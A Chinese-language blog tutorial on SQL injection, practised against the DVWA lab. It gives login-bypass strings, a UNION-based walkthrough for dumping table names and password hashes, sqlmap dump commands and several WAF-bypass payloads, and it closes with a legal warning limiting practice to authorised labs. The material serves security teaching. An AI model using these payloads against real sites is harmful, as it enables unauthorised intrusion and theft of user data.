【第四期】漏洞攻防-注入篇:SQL 注入 —— 从“万能密码”到 Bypass WAF 实战

💡 导读:如果说 Web 漏洞界也有“武林盟主”,那一定是 SQL 注入(SQL Injection)。尽管诞生了二十多年,它依然是 OWASP Top 10 中的常客,也是所有渗透测试人员的必修课。本期我们将利用上期安装的 Burp Suite,亲手解剖 SQL 注入的原理,并实战演示如何绕过现代防火墙(WAF)。


一、 什么是 SQL 注入?(小白也能懂版)

1. 核心逻辑

网站的后台需要向数据库索要数据,使用的语言就是 SQL。

比如,用户登录时,后端代码可能是这样拼接的:

SELECT * FROM users WHERE username = '输入的用户名' AND password = '输入的密码';

2. 攻击发生点

黑客在输入框里不输入正常的用户名,而是输入 ' OR '1'='1

拼接后的 SQL 语句变成了:

SELECT * FROM users WHERE username = '' OR '1'='1' AND password = 'xxx';

因为 '1'='1'永远为真(True),这条语句会直接跳过密码验证,返回数据库中第一条用户数据(通常是管理员)。

这就叫 SQL 注入通过输入恶意的 SQL 代码片段,改变原本 SQL 语句的逻辑。


二、 实战演练:手工注入四部曲

我们将在 DVWA (Low 级别)​ 环境下进行演示。打开 Burp Suite 的 Proxy​ 拦截功能。

第一步:探测注入点(Testing)

在 User ID 输入框中输入 '(单引号)。

  • 现象:页面报错 You have an error in your SQL syntax...

  • 结论:页面回显了数据库错误信息,说明我们输入的单引号被带进了 SQL 语句执行,存在注入漏洞

第二步:判断字段数(Order by)

我们需要知道查询的结果有多少列,才能决定怎么显示数据。

在 Burp Repeater 中修改请求:

1' ORDER BY 1 -- 
1' ORDER BY 2 -- 
1' ORDER BY 3 --
  • 现象:当输入 ORDER BY 3时报错,说明查询结果只有 2 列

  • 注释符 --:用于注释掉后面原本的 SQL 代码(如 LIMIT 1),防止语法错误。

第三步:联合查询(Union Select)

UNION可以把我们想要的查询结果拼接到原结果后面。

1' UNION SELECT 1,2 --
  • 现象:页面显示了数字 1和 2。这意味着这两个位置可以用来显示我们想要的数据(比如数据库版本、当前用户)。

第四步:获取核心数据(Exploitation)

现在,我们把 2替换成我们想要窃取的信息。

  1. 获取当前数据库名

    1' UNION SELECT 1,database() --

    页面显示 dvwa

  2. 获取表名

    1' UNION SELECT 1,table_name FROM information_schema.tables WHERE table_schema='dvwa' --

    页面显示 users

  3. 获取字段名(列名)

    1' UNION SELECT 1,column_name FROM information_schema.columns WHERE table_name='users' --

    页面显示 userpassword

  4. 拖库(Dump Data)

    1' UNION SELECT user, password FROM users --

    结果:页面直接显示了管理员账号和 MD5 加密的密码。复制密文到 cmd5.com即可解密。


三、 自动化神器:SQLmap 极简实战

手工注入虽然能锻炼思维,但在实战中效率太低。我们使用 SQLmap​ 来自动化完成上述所有步骤。

场景:你用 Burp 抓到了一个带有 Cookie 的请求(已登录状态)。

1. 保存请求包

将 Burp Repeater 中的 Raw 请求复制,保存为 request.txt

2. 一键检测

sqlmap -r request.txt --batch
  • -r:加载请求文件。

  • --batch:全自动,不需要人工确认。

3. 直接拖库

sqlmap -r request.txt --current-db
sqlmap -r request.txt -D dvwa --tables
sqlmap -r request.txt -D dvwa -T users --dump

四、 进阶:2026 年的 WAF 绕过技巧(Bypass)

现在的网站大多装有云 WAF(如阿里云盾、腾讯云 WAF)。直接输入 ' OR 1=1会被秒封 IP。我们需要变形。

技巧 1:内联注释

WAF 可能过滤了 union select,但数据库(MySQL)支持 /*!50000 ... */这种特殊语法。

1' /*!50000 UNION*/ /*!50000 SELECT*/ 1,2 --

技巧 2:编码混淆

将空格替换为 %09(Tab) 或 %0a(换行),或者使用 URL 编码。

1'%09UNION%09SELECT%091,2%23

技巧 3:逻辑等价替换

不用 OR 1=1,改用其他永真条件。

1' OR 'a'='a
1' OR 2>1

技巧 4:分块传输(Chunked Encoding)

利用 HTTP 协议的分块传输特性,将 Payload 拆碎,让 WAF 无法重组语义。(此技术需配合 Burp 插件如 Chunked coding converter使用)。


五、 真实案例:某电商平台的 SQL 注入

背景:某商城的商品搜索接口 https://shop.com/list?keyword=手机

发现:输入 '页面报错,确认注入。

利用:使用 UNION SELECT读取了 admin_session表。

危害:攻击者直接获取了后台管理员的 Session,无需密码即可登录后台,修改商品价格,造成巨额资损。


⚠️ 安全警示与法律红线

请务必遵守以下准则:

  1. 严禁未授权测试再次强调,SQL 注入属于高危漏洞,利用该漏洞读取、下载或篡改他人数据库中的数据,属于非法侵入计算机信息系统罪,必将承担刑事责任。

  2. 靶场练习:请仅在 DVWAsqli-labsJuice Shop​ 等明确授权的靶场环境中练习本文提到的 Payload。

  3. 负责任披露:如果在授权测试中发现了 SQL 注入,请立即停止进一步的数据读取(如 --dump),仅截取少量数据作为证明,并立即通知厂商修复。

技术是双刃剑,用 SQLmap 守护系统安全,而不是摧毁它。


💬 互动环节

  • 你在挖洞时遇到过最变态的 WAF 是什么?是如何绕过的?

  • 除了 MySQL,你还了解 PostgreSQL 或 Oracle 的注入特性吗?

  • 欢迎在评论区分享你的“Bypass”经验或提问!

👉 下一期预告:【漏洞攻防-逻辑篇】越权与支付漏洞 —— 为什么修改一下价格就能 0 元购买商品?

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值